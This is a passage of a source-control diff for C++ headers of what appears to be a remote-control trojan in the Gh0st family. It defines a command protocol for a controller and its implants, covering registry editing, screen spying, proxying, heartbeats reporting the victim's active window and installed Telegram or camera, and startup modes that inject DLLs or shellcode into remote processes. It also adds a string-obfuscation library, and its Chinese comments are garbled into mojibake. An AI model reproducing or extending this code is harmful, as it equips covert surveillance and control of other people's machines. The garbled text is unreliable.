Mprintf("<EFBFBD>ͷŶ<EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>\"ServerDll.dll\"<EFBFBD>ɹ<EFBFBD>!\n");
|
||||
}
|
||||
delete runner;
|
||||
return result;
|
||||
}
|
||||
|
||||
@@ -1,8 +1,67 @@
|
||||
#pragma once
|
||||
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <iosfwd>
|
||||
#include <iostream>
|
||||
#include <sstream>
|
||||
#include <string.h>
|
||||
#include <map>
|
||||
#include <numeric>
|
||||
#include <ctime>
|
||||
#include <chrono>
|
||||
|
||||
#ifdef _WIN32
|
||||
#include <concrt.h>
|
||||
#include <corecrt_io.h>
|
||||
#define MVirtualFree(a1, a2, a3) VirtualFree(a1, a2, a3)
|
||||
#define MVirtualAlloc(a1, a2, a3, a4) VirtualAlloc(a1, a2, a3, a4)
|
||||
#else // ʹ<>ø<EFBFBD>ͷ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> LINUX <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9>
|
||||
#include <thread>
|
||||
#define strcat_s strcat
|
||||
#define sprintf_s sprintf
|
||||
#define strcpy_s strcpy
|
||||
#define __stdcall
|
||||
#define WINAPI
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
#define skCrypt(p)
|
||||
#define Mprintf printf
|
||||
#define ASSERT(p)
|
||||
#define AUTO_TICK_C(p)
|
||||
#define AUTO_TICK(p)
|
||||
#define OutputDebugStringA(p) printf(p)
|
||||
|
||||
#include <unistd.h>
|
||||
#define Sleep(n) ((n) >= 1000 ? sleep((n) / 1000) : usleep((n) * 1000))
|
||||
|
||||
typedef int64_t __int64;
|
||||
typedef uint32_t DWORD;
|
||||
typedef int BOOL, SOCKET;
|
||||
typedef unsigned int ULONG;
|
||||
typedef unsigned int UINT;
|
||||
typedef void VOID;
|
||||
typedef unsigned char BYTE;
|
||||
typedef BYTE* PBYTE, * LPBYTE;
|
||||
typedef void* LPVOID, * HANDLE;
|
||||
|
||||
#define GET_PROCESS(a1, a2)
|
||||
#define MVirtualFree(a1, a2, a3) delete[]a1
|
||||
#define MVirtualAlloc(a1, a2, a3, a4) new BYTE[a2]
|
||||
#define CopyMemory memcpy
|
||||
#define MoveMemory memmove
|
||||
|
||||
#define INVALID_SOCKET -1
|
||||
#define SOCKET_ERROR -1
|
||||
#define closesocket close
|
||||
#define CloseHandle(p)
|
||||
#define CancelIo(p) close(reinterpret_cast<intptr_t>(p))
|
||||
#endif
|
||||
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <time.h>
|
||||
#include <unordered_map>
|
||||
|
||||
#ifndef _MAX_PATH
|
||||
#define _MAX_PATH 260
|
||||
@@ -10,15 +69,26 @@
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>2<EFBFBD><32><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB>Ψһ<CEA8><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
#define FLAG_FINDEN 0x1234567
|
||||
#define FLAG_FINDEN "Hello, World!"
|
||||
|
||||
#define FLAG_GHOST 0x7654321
|
||||
#define FLAG_GHOST FLAG_FINDEN
|
||||
|
||||
// <20><><EFBFBD>س<EFBFBD><D8B3><EFBFBD>Ψһ<CEA8><D2BB>ʶ
|
||||
#define MASTER_HASH "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#define DLL_VERSION __DATE__ // DLL<4C>汾
|
||||
|
||||
#define TALK_DLG_MAXLEN 1024 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
// <20>ͻ<EFBFBD><CDBB><EFBFBD>״̬: 1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
enum State {
|
||||
S_CLIENT_NORMAL = 0,
|
||||
S_CLIENT_EXIT = 1,
|
||||
S_SERVER_EXIT = 2,
|
||||
S_CLIENT_UPDATE = 3,
|
||||
};
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD>б<EFBFBD>
|
||||
enum
|
||||
{
|
||||
@@ -92,6 +162,8 @@ enum
|
||||
COMMAND_REGEDIT,
|
||||
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
|
||||
COMMAND_UPDATE = 53, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_SHARE = 59, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
COMMAND_PROXY = 60, // <20><><EFBFBD><EFBFBD>ӳ<EFBFBD><D3B3>
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||
@@ -144,46 +216,187 @@ enum
|
||||
|
||||
SOCKET_DLLLOADER=210, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL
|
||||
CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD>
|
||||
CMD_MASTERSETTING = 215, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CMD_HEARTBEAT_ACK = 216, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ
|
||||
};
|
||||
|
||||
#define CLIENT_TYPE_DLL 0 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
#define CLIENT_TYPE_ONE 1 // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD>Ե<EFBFBD><D4B5><EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
|
||||
#define CLIENT_TYPE_MODULE 2 // DLL<4C><4C><EFBFBD><EFBFBD><EFBFBD>ⲿ<EFBFBD><E2B2BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum ProxyManager {
|
||||
TOKEN_PROXY_CONNECT_RESULT,
|
||||
TOKEN_PROXY_BIND_RESULT,
|
||||
TOKEN_PROXY_CLOSE,
|
||||
TOKEN_PROXY_DATA,
|
||||
COMMAND_PROXY_CLOSE,
|
||||
COMMAND_PROXY_CONNECT,
|
||||
COMMAND_PROXY_DATA,
|
||||
COMMAND_PROXY_CONNECT_HOSTNAME,
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
CLIENT_TYPE_ONE = 1, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD>Ե<EFBFBD><D4B5><EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
|
||||
CLIENT_TYPE_MEMEXE = -1, // <20>ڴ<EFBFBD>EXE<58><45><EFBFBD><EFBFBD>
|
||||
CLIENT_TYPE_MODULE = 2, // DLL<4C><4C><EFBFBD><EFBFBD><EFBFBD>ⲿ<EFBFBD><E2B2BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CLIENT_TYPE_SHELLCODE = 4, // Shellcode
|
||||
CLIENT_TYPE_MEMDLL = 5, // <20>ڴ<EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||
CLIENT_TYPE_LINUX = 6, // LINUX <20>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||
};
|
||||
|
||||
enum {
|
||||
SHARE_TYPE_YAMA = 0, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
SHARE_TYPE_HOLDINGHANDS = 1, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> HoldingHands: https://github.com/yuanyuanxiang/HoldingHands
|
||||
};
|
||||
|
||||
inline const char* GetClientType(int typ) {
|
||||
switch (typ)
|
||||
{
|
||||
case CLIENT_TYPE_DLL:
|
||||
return "DLL";
|
||||
case CLIENT_TYPE_ONE:
|
||||
return "EXE";
|
||||
case CLIENT_TYPE_MEMEXE:
|
||||
return "MEXE";
|
||||
case CLIENT_TYPE_MODULE:
|
||||
return "DLL";
|
||||
case CLIENT_TYPE_SHELLCODE:
|
||||
return "SC";
|
||||
case CLIENT_TYPE_MEMDLL:
|
||||
return "MDLL";
|
||||
case CLIENT_TYPE_LINUX:
|
||||
return "LNX";
|
||||
default:
|
||||
return "DLL";
|
||||
}
|
||||
}
|
||||
|
||||
inline int compareDates(const std::string& date1, const std::string& date2) {
|
||||
static const std::unordered_map<std::string, int> monthMap = {
|
||||
{"Jan", 1}, {"Feb", 2}, {"Mar", 3}, {"Apr", 4}, {"May", 5}, {"Jun", 6},
|
||||
{"Jul", 7}, {"Aug", 8}, {"Sep", 9}, {"Oct",10}, {"Nov",11}, {"Dec",12}
|
||||
};
|
||||
|
||||
auto parse = [&](const std::string& date) -> std::tuple<int, int, int> {
|
||||
int month = monthMap.at(date.substr(0, 3));
|
||||
int day = std::stoi(date.substr(4, 2));
|
||||
int year = std::stoi(date.substr(7, 4));
|
||||
return { year, month, day };
|
||||
};
|
||||
|
||||
try {
|
||||
auto t1 = parse(date1);
|
||||
auto t2 = parse(date2);
|
||||
int y1 = std::get<0>(t1), m1 = std::get<1>(t1), d1 = std::get<2>(t1);
|
||||
int y2 = std::get<0>(t2), m2 = std::get<1>(t2), d2 = std::get<2>(t2);
|
||||
|
||||
if (y1 != y2) return y1 < y2 ? -1 : 1;
|
||||
if (m1 != m2) return m1 < m2 ? -1 : 1;
|
||||
if (d1 != d2) return d1 < d2 ? -1 : 1;
|
||||
return 0;
|
||||
}
|
||||
catch (const std::exception& e) {
|
||||
std::cerr << "Date parse error: " << e.what() << std::endl;
|
||||
return -2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||
}
|
||||
}
|
||||
|
||||
// <20><>ö<EFBFBD><C3B6>ֵ<EFBFBD><D6B5>ClientType<70><65><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD>ֲ<EFBFBD><D6B2><EFBFBD><EFBFBD><EFBFBD>ȫһ<C8AB>£<EFBFBD>רΪ`TestRun`<60><><EFBFBD><EFBFBD>
|
||||
// ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>`ServerDll`<60><><EFBFBD><EFBFBD>ʽ
|
||||
// `TestRun` ֻ<><D6BB><EFBFBD>ڼ<EFBFBD><DABC><EFBFBD><EFBFBD>о<EFBFBD>Ŀ<EFBFBD><C4BF>
|
||||
enum TestRunType {
|
||||
Startup_DLL, // <20><><EFBFBD><EFBFBD>DLL
|
||||
Startup_MEMDLL, // <20>ڴ<EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD><DEB4><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
Startup_InjDLL, // Զ<><D4B6>ע<EFBFBD><D7A2> DLL<4C><4C>ע<EFBFBD><D7A2>DLL·<4C><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C>
|
||||
Startup_Shellcode, // <20><><EFBFBD><EFBFBD> Shell code <20><><EFBFBD>ڵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>shell code <20><>
|
||||
Startup_InjSC, // Զ<><D4B6> Shell code <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>shell code <20><>
|
||||
};
|
||||
|
||||
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
|
||||
{
|
||||
for (int i = 0; i < iBufferSize - iKeySize; ++i)
|
||||
{
|
||||
if (0 == memcmp(szBuffer + i, Key, iKeySize))
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
typedef struct CONNECT_ADDRESS
|
||||
{
|
||||
public:
|
||||
unsigned long dwFlag;
|
||||
char szServerIP[_MAX_PATH];
|
||||
int iPort;
|
||||
char szFlag[32];
|
||||
char szServerIP[100];
|
||||
char szPort[8];
|
||||
int iType;
|
||||
bool bEncrypt;
|
||||
char szBuildDate[12];
|
||||
int iMultiOpen;
|
||||
int iStartup; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
|
||||
char szReserved[130]; // ռλ<D5BC><CEBB>ʹ<EFBFBD>ṹ<EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
|
||||
|
||||
public:
|
||||
void SetType(int typ) {
|
||||
iType = typ;
|
||||
}
|
||||
const unsigned long & Flag() const {
|
||||
return dwFlag;
|
||||
const void* Flag() const {
|
||||
return szFlag;
|
||||
}
|
||||
CONNECT_ADDRESS ModifyFlag(const char* flag) const {
|
||||
CONNECT_ADDRESS copy = *this;
|
||||
memset(copy.szFlag, 0, sizeof(szFlag));
|
||||
memcpy(copy.szFlag, flag, strlen(flag));
|
||||
return copy;
|
||||
}
|
||||
int FlagLen() const {
|
||||
return strlen(szFlag);
|
||||
}
|
||||
const char* ServerIP()const {
|
||||
return szServerIP;
|
||||
}
|
||||
int ServerPort()const {
|
||||
return iPort;
|
||||
return atoi(szPort);
|
||||
}
|
||||
int ClientType()const {
|
||||
return iType;
|
||||
}
|
||||
void SetServer(const char* ip, int port) {
|
||||
// return true if modified
|
||||
bool SetServer(const char* ip, int port, bool e = false) {
|
||||
if (ip == NULL || strlen(ip) <= 0 || port <= 0)
|
||||
return false;
|
||||
bool modified = bEncrypt != e || strcmp(ServerIP(), ip) != 0 || port != ServerPort();
|
||||
bEncrypt = e;
|
||||
strcpy_s(szServerIP, ip);
|
||||
iPort = port;
|
||||
sprintf_s(szPort, "%d", port);
|
||||
|
||||
return modified;
|
||||
}
|
||||
bool IsValid()const {
|
||||
return strlen(szServerIP) != 0 && iPort > 0;
|
||||
return strlen(szServerIP) != 0 && atoi(szPort) > 0;
|
||||
}
|
||||
int Size() const {
|
||||
return sizeof(CONNECT_ADDRESS);
|
||||
}
|
||||
} CONNECT_ADDRESS ;
|
||||
|
||||
// <20><><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>ַ<EFBFBD><D6B7>ָ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||
inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved = 1) {
|
||||
// ʹ<><CAB9><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
std::istringstream stream(str);
|
||||
std::string item;
|
||||
std::vector<std::string> result;
|
||||
|
||||
// <20><><EFBFBD>ֺŷָ<C5B7><D6B8>ַ<EFBFBD><D6B7><EFBFBD>
|
||||
while (std::getline(stream, item, ch)) {
|
||||
result.push_back(item); // <20><><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
while (result.size() < reserved)
|
||||
result.push_back("");
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD><EFBFBD>͵ļ<CDB5><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
// <20>˽ṹ<CBBD><E1B9B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>仯<EFBFBD><E4BBAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>汾<EFBFBD>Ŀͻ<C4BF><CDBB><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>°<EFBFBD><C2B0><EFBFBD><EFBFBD><EFBFBD>.
|
||||
// <20>°<EFBFBD><C2B0>ͻ<EFBFBD><CDBB><EFBFBD>Ҳ<EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϰ汾<CFB0><E6B1BE><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD>.
|
||||
@@ -193,20 +406,112 @@ typedef struct LOGIN_INFOR
|
||||
{
|
||||
unsigned char bToken; // 1.<2E><>½<EFBFBD><C2BD>Ϣ
|
||||
char OsVerInfoEx[156]; // 2.<2E>汾<EFBFBD><E6B1BE>Ϣ
|
||||
unsigned long dwCPUMHz; // 3.CPU<50><55>Ƶ
|
||||
unsigned int dwCPUMHz; // 3.CPU<50><55>Ƶ
|
||||
char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD>汾
|
||||
char szPCName[_MAX_PATH]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char szPCName[240]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char szMasterID[20]; // 5.1 <20><><EFBFBD><EFBFBD>ID
|
||||
int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
unsigned long dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
|
||||
unsigned int dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
|
||||
char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||
char szReserved[512]; // 9.<2E><><EFBFBD><EFBFBD><EFBFBD>ֶ<EFBFBD>
|
||||
|
||||
LOGIN_INFOR(){
|
||||
memset(this, 0, sizeof(LOGIN_INFOR));
|
||||
bToken = TOKEN_LOGIN;
|
||||
strcpy_s(moduleVersion, DLL_VERSION);
|
||||
}
|
||||
LOGIN_INFOR& Speed(unsigned long speed) {
|
||||
dwSpeed = speed;
|
||||
return *this;
|
||||
}
|
||||
void AddReserved(const char* v) {
|
||||
if (strlen(szReserved))
|
||||
strcat_s(szReserved, "|");
|
||||
if (strlen(szReserved) + strlen(v) < sizeof(szReserved))
|
||||
strcat_s(szReserved, v);
|
||||
}
|
||||
void AddReserved(int n) {
|
||||
if (strlen(szReserved))
|
||||
strcat_s(szReserved, "|");
|
||||
char buf[24] = {};
|
||||
sprintf_s(buf, "%d", n);
|
||||
if (strlen(szReserved) + strlen(buf) < sizeof(szReserved))
|
||||
strcat_s(szReserved, buf);
|
||||
}
|
||||
void AddReserved(double f) {
|
||||
if (strlen(szReserved))
|
||||
strcat_s(szReserved, "|");
|
||||
char buf[24] = {};
|
||||
sprintf_s(buf, "%.2f", f);
|
||||
if (strlen(szReserved) + strlen(buf) < sizeof(szReserved))
|
||||
strcat_s(szReserved, buf);
|
||||
}
|
||||
std::vector<std::string> ParseReserved(int n = 1) const {
|
||||
return StringToVector(szReserved, '|', n);
|
||||
}
|
||||
}LOGIN_INFOR;
|
||||
|
||||
// <20>̶<EFBFBD>1024<32>ֽ<EFBFBD>
|
||||
typedef struct Heartbeat
|
||||
{
|
||||
uint64_t Time;
|
||||
char ActiveWnd[512];
|
||||
int Ping;
|
||||
int HasSoftware;
|
||||
char Reserved[496];
|
||||
|
||||
Heartbeat() {
|
||||
memset(this, 0, sizeof(Heartbeat));
|
||||
}
|
||||
Heartbeat(const std::string& s, int ping = 0) {
|
||||
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
|
||||
std::chrono::system_clock::now()
|
||||
);
|
||||
Time = system_ms.time_since_epoch().count();
|
||||
strcpy_s(ActiveWnd, s.c_str());
|
||||
Ping = ping;
|
||||
memset(Reserved, 0, sizeof(Reserved));
|
||||
}
|
||||
int Size() const {
|
||||
return sizeof(Heartbeat);
|
||||
}
|
||||
}Heartbeat;
|
||||
|
||||
typedef struct HeartbeatACK {
|
||||
uint64_t Time;
|
||||
char Reserved[24];
|
||||
}HeartbeatACK;
|
||||
|
||||
// <20>̶<EFBFBD>500<30>ֽ<EFBFBD>
|
||||
typedef struct MasterSettings {
|
||||
int ReportInterval; // <20>ϱ<EFBFBD><CFB1><EFBFBD><EFBFBD><EFBFBD>
|
||||
int Is64Bit; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>64λ
|
||||
char MasterVersion[12]; // <20><><EFBFBD>ذ汾
|
||||
int DetectSoftware; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char Reserved[476]; // Ԥ<><D4A4>
|
||||
}MasterSettings;
|
||||
|
||||
enum
|
||||
{
|
||||
SOFTWARE_CAMERA = 0,
|
||||
SOFTWARE_TELEGRAM,
|
||||
|
||||
SHELLCODE = 0,
|
||||
MEMORYDLL = 1,
|
||||
};
|
||||
|
||||
typedef DWORD(__stdcall* PidCallback)(void);
|
||||
|
||||
inline const char* EVENTID(PidCallback pid) {
|
||||
static char buf[64] = { 0 };
|
||||
if (buf[0] == 0) {
|
||||
sprintf_s(buf, "SERVICE [%d] FINISH RUNNING", pid());
|
||||
}
|
||||
return buf;
|
||||
}
|
||||
|
||||
#define EVENT_FINISHED EVENTID(GetCurrentProcessId)
|
||||
|
||||
inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<char>& keys) {
|
||||
for (char key : keys) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
@@ -215,12 +520,54 @@ inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<
|
||||
}
|
||||
}
|
||||
|
||||
inline std::tm ToPekingTime(const time_t* t) {
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰʱ<C7B0>䣨<EFBFBD><E4A3A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ϊ<EFBFBD>գ<EFBFBD>
|
||||
std::time_t now = (t == nullptr) ? std::time(nullptr) : *t;
|
||||
|
||||
// <20>̰߳<DFB3>ȫ<EFBFBD><C8AB>ת<EFBFBD><D7AA>Ϊ UTC ʱ<><CAB1>
|
||||
std::tm utc_time{};
|
||||
|
||||
#ifdef _WIN32 // Windows ʹ<><CAB9> gmtime_s
|
||||
if (gmtime_s(&utc_time, &now) != 0) {
|
||||
return { 0, 0, 0, 1, 0, 100 }; // ʧ<><CAA7>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD> 2000-01-01 00:00:00
|
||||
}
|
||||
#else // Linux / macOS ʹ<><CAB9> gmtime_r
|
||||
if (gmtime_r(&now, &utc_time) == nullptr) {
|
||||
return { 0, 0, 0, 1, 0, 100 };
|
||||
}
|
||||
#endif
|
||||
|
||||
// ת<><D7AA>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨UTC+8<><38>
|
||||
utc_time.tm_hour += 8;
|
||||
|
||||
// <20>淶<EFBFBD><E6B7B6>ʱ<EFBFBD>䣨<EFBFBD><E4A3A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>죩
|
||||
std::mktime(&utc_time);
|
||||
|
||||
return utc_time;
|
||||
}
|
||||
|
||||
inline std::string ToPekingTimeAsString(const time_t* t) {
|
||||
auto pekingTime = ToPekingTime(t);
|
||||
char buffer[20];
|
||||
std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", &pekingTime);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
#ifdef _DEBUG
|
||||
// Ϊ<>˽<EFBFBD><CBBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĺ꣬<C4BA><EAA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱʹ<CAB1>ã<EFBFBD><C3A3><EFBFBD>ʽ<EFBFBD>汾û<E6B1BE><C3BB>
|
||||
#define SCREENYSPY_IMPROVE 0
|
||||
#define SCREENSPY_WRITE 0
|
||||
#endif
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
#ifdef _WINDOWS
|
||||
#include <afxwin.h>
|
||||
#else
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#endif
|
||||
|
||||
// <20><><EFBFBD>ڴ<EFBFBD><DAB4>е<EFBFBD>λͼд<CDBC><D0B4><EFBFBD>ļ<EFBFBD>
|
||||
inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1) {
|
||||
char path[_MAX_PATH];
|
||||
@@ -246,13 +593,6 @@ inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::st
|
||||
return false;
|
||||
}
|
||||
|
||||
#ifdef _WIN32
|
||||
#ifdef _WINDOWS
|
||||
#include <afxwin.h>
|
||||
#else
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#endif
|
||||
class MSG32 { // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(32λ)
|
||||
public:
|
||||
uint32_t hwnd;
|
||||
|
||||
163
common/skCrypter.h
Normal file
@@ -0,0 +1,163 @@
|
||||
#pragma once
|
||||
|
||||
/*____________________________________________________________________________________________________________
|
||||
|
||||
Original Author: skadro
|
||||
Github: https://github.com/skadro-official
|
||||
License: See end of file
|
||||
|
||||
skCrypter
|
||||
Compile-time, Usermode + Kernelmode, safe and lightweight string crypter library for C++11+
|
||||
|
||||
*Not removing this part is appreciated*
|
||||
____________________________________________________________________________________________________________*/
|
||||
|
||||
#ifdef _KERNEL_MODE
|
||||
namespace std
|
||||
{
|
||||
// STRUCT TEMPLATE remove_reference
|
||||
template <class _Ty>
|
||||
struct remove_reference {
|
||||
using type = _Ty;
|
||||
};
|
||||
|
||||
template <class _Ty>
|
||||
struct remove_reference<_Ty&> {
|
||||
using type = _Ty;
|
||||
};
|
||||
|
||||
template <class _Ty>
|
||||
struct remove_reference<_Ty&&> {
|
||||
using type = _Ty;
|
||||
};
|
||||
|
||||
template <class _Ty>
|
||||
using remove_reference_t = typename remove_reference<_Ty>::type;
|
||||
|
||||
// STRUCT TEMPLATE remove_const
|
||||
template <class _Ty>
|
||||
struct remove_const { // remove top-level const qualifier
|
||||
using type = _Ty;
|
||||
};
|
||||
|
||||
template <class _Ty>
|
||||
struct remove_const<const _Ty> {
|
||||
using type = _Ty;
|
||||
};
|
||||
|
||||
template <class _Ty>
|
||||
using remove_const_t = typename remove_const<_Ty>::type;
|
||||
}
|
||||
#else
|
||||
#include <type_traits>
|
||||
#endif
